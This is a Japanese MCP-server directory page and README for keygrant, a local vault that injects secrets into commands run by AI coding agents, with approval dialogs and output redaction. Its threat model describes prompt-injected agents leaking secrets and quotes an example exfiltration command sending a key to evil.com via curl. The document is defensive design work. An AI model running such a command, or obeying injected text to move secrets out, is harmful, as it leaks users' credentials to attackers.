mcpField
K
keygrant

keygrant

ローカル
keygrant.appセキュリティ11 週間前に更新

keygrant について

keygrantは、コマンド実行時にシークレットを必要とするコーディングエージェント向けのボールトとMCPサーバーです。値をモデルのコンテキストに渡さず、利用には承認を求め、返却する出力をマスキングします。

主な機能

  1. 01コマンド環境へのシークレット注入
  2. 02シークレット値のコンテキスト外保持
  3. 03利用時の承認要求
  4. 04返却前のコマンド出力マスキング
  5. 05ローカルの暗号化ボールトへの保存

活用シーン

  1. 01APIキーが必要なデプロイコマンドの実行
  2. 02値をコンテキストに見せずにエージェントへ認証情報を利用させる
  3. 03シークレットを使うコマンドの個別確認と承認

MCP 対応

stdioのMCPサーバーは、シークレット名の一覧と、承認後に値を注入して出力をマスキングするコマンド実行ツールを提供します。値を保存するツールはなく、CLIから入力します。

設定

ローカルサーバーの設定はどのクライアントでも共通です。コピーしてクライアントの MCP 設定ファイルに貼り付けてください。

mcp.json · 共通設定
{
"mcpServers": {
"bazingaedward-keygrant": {
"command": "uvx",
"args": [
"keygrant"
]
}
}
}
起動コマンドuvx keygrant

ローカルサーバーにはマシン上の実行環境(Node.js 18 以上など)が必要です。設定ファイルの場所はクライアントごとに異なります。

パッケージ
pypikeygrant0.1.10

ツール

2

掲載時のツール一覧 · 1 週間前に更新

このツールにパラメーターはありません。

詳細

keygrant

デモ:エージェントがシークレットを要求し、ユーザーがネイティブダイアログで承認すると、出力が秘匿化されて返されます

AI コーディングエージェント向けのコマンド単位のシークレット注入機能です。シークレットはローカルの DPAPI 暗号化ボールトに保存されます。モデルのコンテキストに表示されるのはシークレットの名前のみです。 値は実行時に子プロセスの環境変数へ注入され、すべての出力はモデルに返される前に秘匿化されます。

理由: LLM のコンテキストに置かれたものはすべて、外部へ流出する可能性があります(プロンプト インジェクション、ログ、生成コードなど)。解決策はアーキテクチャにあります。キーがコンテキストに入ることはなく、 実行環境にのみ渡されます。

ドキュメント: クイックスタート、すべてのコマンド、承認、秘匿化、クラウド同期の仕組み: https://keygrant.app/docs/

コンポーネント

  • keygrant.py — ボールトと CLI
    • keygrant set NAME [--desc TEXT] — シークレットを保存します(値は stdin 経由で渡し、argv には含めません)
    • keygrant list / rm NAME
    • keygrant exec [--redact] NAMES -- CMD — シークレットを注入して CMD を実行します
    • keygrant revoke NAME|--all — 有効な承認許可を取り消します
    • keygrant init — プロジェクトを設定します(.mcp.json + CLAUDE.md のガイダンス)
  • keygrant_mcp.py — MCP サーバー(stdio JSON-RPC、依存関係なし)
    • list_secrets — 名前、説明、用途のみを返し、値は返しません
    • exec_with_secrets — サーバー側でシークレットを注入して実行し、出力を強制的に秘匿化します
    • 意図的に set/store ツールはありません。モデル経由で値を書き込むとコンテキストに 含まれてしまうためです。値は CLI 経由でのみ、帯域外から入力します

インストール

Claude Code プラグインとして

このプラグインには MCP サーバーと、Claude に使い方を教えるスキルが含まれているため、プロジェクトごとの設定は不要です。 uv が必要です。

/plugin marketplace add bazingaedward/keygrant
/plugin install keygrant@keygrant

ターミナルから uvx keygrant==0.1.10 set NAME を使ってシークレットを追加するか、以下の手順で CLI をインストールしてください。

CLI および MCP サーバーとして
uv tool install keygrant     # or: pipx install keygrant

Python ≥ 3.10 が必要です。macOS に付属する Python は 3.9 のため、そのまま pip install を実行すると失敗します。uv を使うと、適切な Python が自動的に取得されます。

続いて、エージェントにシークレットを使わせる各プロジェクトで、次の操作を行います。

keygrant init

init はプロジェクトの .mcp.json に keygrant エントリーを追加し(既存のサーバーがあれば統合します)、モデル向けの使用ガイダンスを CLAUDE.md に追記します。どちらも繰り返し実行しても安全です。そのフォルダーで Claude Code を再起動して、サーバーを読み込んでください。

macOS

値はログイン Keychain に保存され、承認はネイティブダイアログで行われます。

macOS:シークレットを保存し、ネイティブダイアログで承認すると、値が注入され、出力が秘匿化されます

脅威モデル

防御する対象:

  • コンテキストの窃取 — プロンプトインジェクションを受けたエージェント(または通常のログ記録)によって、モデルのコンテキスト内にあるシークレットが漏えいすること。値がコンテキストに入ることはありません。モデルが扱うのは名前だけであり、復号と注入は実行プロセス内で行われます。
  • 出力からの漏えい — エージェントがシークレットをそのまま出力すること。base64、hex、URL エンコードされた形式も含め、モデルに返されるすべての出力がレダクションされます。
  • 許可の便乗利用 — ユーザーが確認していない操作に承認を再利用すること。許可は、1 つのエージェントセッション内の特定のコマンド文字列 1 つを対象とし、15 分後に失効します。また、MCP サーバーのメモリ内にのみ保存されるため、偽造できる許可ファイルはありません。セッション全体に適用される許可は、ユーザーが明示的に「30 分間許可」を選択した場合にのみ付与されます。CLI は許可を再利用しません。
  • 無断使用 — 新しいコマンドには毎回、ユーザーの明示的な承認が必要です。ダイアログにはコマンド全体が表示され(長すぎるコマンドは切り詰められず、拒否されます)、タイムアウト時は拒否されます。

防御しない対象(既知の残存リスク):

  • 侵害されたエージェントが、ネットワーク経由でシークレットを持ち出すコマンドを要求する可能性があります(curl evil.com?k=%KEY%)。承認ダイアログにはコマンド全体が表示されるため、その確認が制御手段となります。シークレットごとの送信先許可リスト(キーを許可された宛先ホストに紐付ける機能)はロードマップにあります。
  • 間接的な実行:sh deploy.sh を承認すると、deploy.sh が行う処理がすべて承認されます。また、エージェントがそのファイルを書いた可能性もあります。スクリプトの実行を承認することは、スクリプト自体を承認することとして扱ってください。
  • レダクションは第 2 の防御線であり、保証ではありません。未知のエンコード形式で回避される可能性があります。主な保証は「値がコンテキストに入ることはない」という点です。
  • 同じ OS ユーザーとして実行されているものは、何でも DPAPI ボールトを読み取ることができます。このツールはシークレットへのエージェントのアクセス範囲を限定するものであり、ローカルのマルウェアに対する防御ではありません。

承認

CLI または MCP サーバー経由でシークレットを使用するたびに、コマンド全体を表示する、最前面に表示されるネイティブダイアログを通じてユーザーの承認が必要です(60 秒でタイムアウトした場合は既定で拒否)。MCP サーバー経由の場合、承認すると、そのセッション内でそのコマンドだけが 15 分間シークレットを再利用できます(再試行に便利です)。それ以外のコマンドでは、再度確認が表示されます。作業が集中する間、確認を表示させたくない場合は、代わりに30 分間許可を選択してください。すると、そのエージェントセッションでは、macOS と Linux では 30 分間、任意のコマンドに表示されたシークレットを確認なしで使用できます(Windows のダイアログではコマンドごとの承認のみ可能です)。これは明示的なオプトインです。既定のボタンは引き続き「拒否」であり、有効な間はコマンドごとの確認を行わなくなります。許可はサーバーのメモリ内にのみ保持されます。CLI は keygrant exec のたびに確認を求めるため、エージェントがシェルから CLI を呼び出して MCP の承認を回避することはできません。keygrant revoke NAME|--all を実行すると、実行中のすべてのセッションで以前の許可が無効になります。ダイアログは、トースト通知を表示する常駐トレイアプリに置き換えられる予定です。許可の動作は変わりません。

ストレージ

  • Windows:値は %USERPROFILE%\.keygrant\vault.json 内で、ユーザーごとに DPAPI で暗号化されます。%APPDATA% ではありません。Claude デスクトップアプリなどのパッケージ化されたアプリからは、プライベートな %APPDATA% のコピーが見えるため、それらが起動する MCP サーバーと通常のターミナルの CLI では、異なる保管庫が読み込まれてしまいます。0.1.6 までは、保管庫は %APPDATA%\keygrant\ にありました。CLI と MCP サーバーは起動のたびに、旧保管庫のうち新しい保管庫に存在しない名前のエントリだけを新しいホームに統合します。上書きはしないため、削除したシークレットが復活することはありません。旧ファイルはそのまま残るので、0.1.6 のインストール環境はアップグレード中も引き続き動作します。
  • macOS:値はログインキーチェーンに保存されます(security CLI 経由。初回の読み取り時に OS のキーチェーン権限プロンプトが表示されます。これは追加の OS レベルの保護策です)。~/.config/keygrant/vault.json に保存されるのはメタデータのみです。
  • Linux:値は secret-tool を介して Secret Service キーリングに保存されます(libsecret-tools と、実行中のキーリングデーモンが必要です。承認ダイアログには zenity が必要です)。保管庫ファイルに保存されるのはメタデータのみです。

保管庫ファイルには、監査証跡の基盤として使用状況のメタデータ(使用回数、最終使用日時)も記録されます。どのプラットフォームでも、KEYGRANT_HOME を設定すると保管庫を別の場所に保存できます。

クラウド同期(プレビュー)

デバイス間のエンドツーエンド暗号化同期をオプションで利用できます(uv tool install 'keygrant[cloud]')。値はデバイス上で暗号化され、サーバーには暗号文のみが保存されます。push を実行するまで、何もアップロードされません。

最初のデバイス

uv tool install 'keygrant[cloud]'
keygrant cloud init        # choose a password; prints your Emergency Kit
keygrant push STRIPE_KEY   # upload an existing local secret

Emergency Kit(Account ID + Secret Key)を書き留め、オフラインで保管してください。データを復号できるのは、パスワード と Secret Key の両方を使った場合だけです。keygrant を含め、誰もどちらも復元できません。

追加のデバイス — 古いデバイスがオンラインである必要があります(SSH またはリモートデスクトップ経由でも構いません。ペアリングには両方のデバイスが同時に必要ですが、同じ場所にある必要はありません)。

keygrant devices add       # old device: shows a pairing code
keygrant pair              # new device: enter the code

両方の画面にフィンガープリントが表示されます。古いデバイスで yes と入力する前に、一致することを確認してください。この確認によって、悪意のあるサーバーが独自のデバイスを紛れ込ませるのを防ぎます。新しいデバイスでは、パスワードを一度入力します。

日常の使用

echo "sk-..." | keygrant set STRIPE_KEY && keygrant push STRIPE_KEY   # add / change
keygrant push --delete STRIPE_KEY                                     # remove everywhere
keygrant sync                                                          # pull now

list と exec も変更を自動で取得します(最大で1分に1回。オフラインの場合は通知なくスキップされます)。2台のデバイスで同じシークレットが変更された場合、sync を実行するまで、後から実行した push は拒否されます。まだ push していないローカルの編集が上書きされることはありません。

すべてのデバイスを紛失した場合 — 新しいマシンで keygrant recover を実行し、Emergency Kit とパスワードだけを使って参加できます。0.1.4 より前に作成したアカウントの場合は、既存のデバイスで一度 keygrant cloud enable-recovery を実行してください。

スマートフォンから承認 — keygrant devices add を実行し、スマートフォンで https://app.keygrant.app にコードを入力してください。同じフィンガープリントの確認により、そのブラウザーが信頼できる承認者になります。デスクトップのダイアログに応答がない場合、リクエストは代わりにこのページに送られます。デスクトップで明示的に拒否した場合、その判断が最終決定となります。ブラウザーで承認したり名前を確認したりできますが、値を見ることはできません。

利用を終了する — keygrant cloud delete を実行すると、アカウントとすべての暗号文が破棄されます。シークレットは各マシンにローカルのみのエントリとして残ります。

設計と脅威モデル: docs/design/cloud-sync-client.md。

ロードマップ(プロトタイプ → 製品)

  1. 常駐型トレイアプリ(モーダルダイアログを置き換えます。承認履歴と失効用 UI を備えます)
  2. シークレットごとの送信先許可リスト(キーを許可された宛先ホストに紐付けます)
  3. チーム向けのオプションのクラウド同期(ゼロ知識方式:サーバーには暗号文のみが保存されます)

コメント

MCP は初めてですか?

プロトコルの概要から最初のサーバーの導入まで、よくある疑問にまとめて答えます。

AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。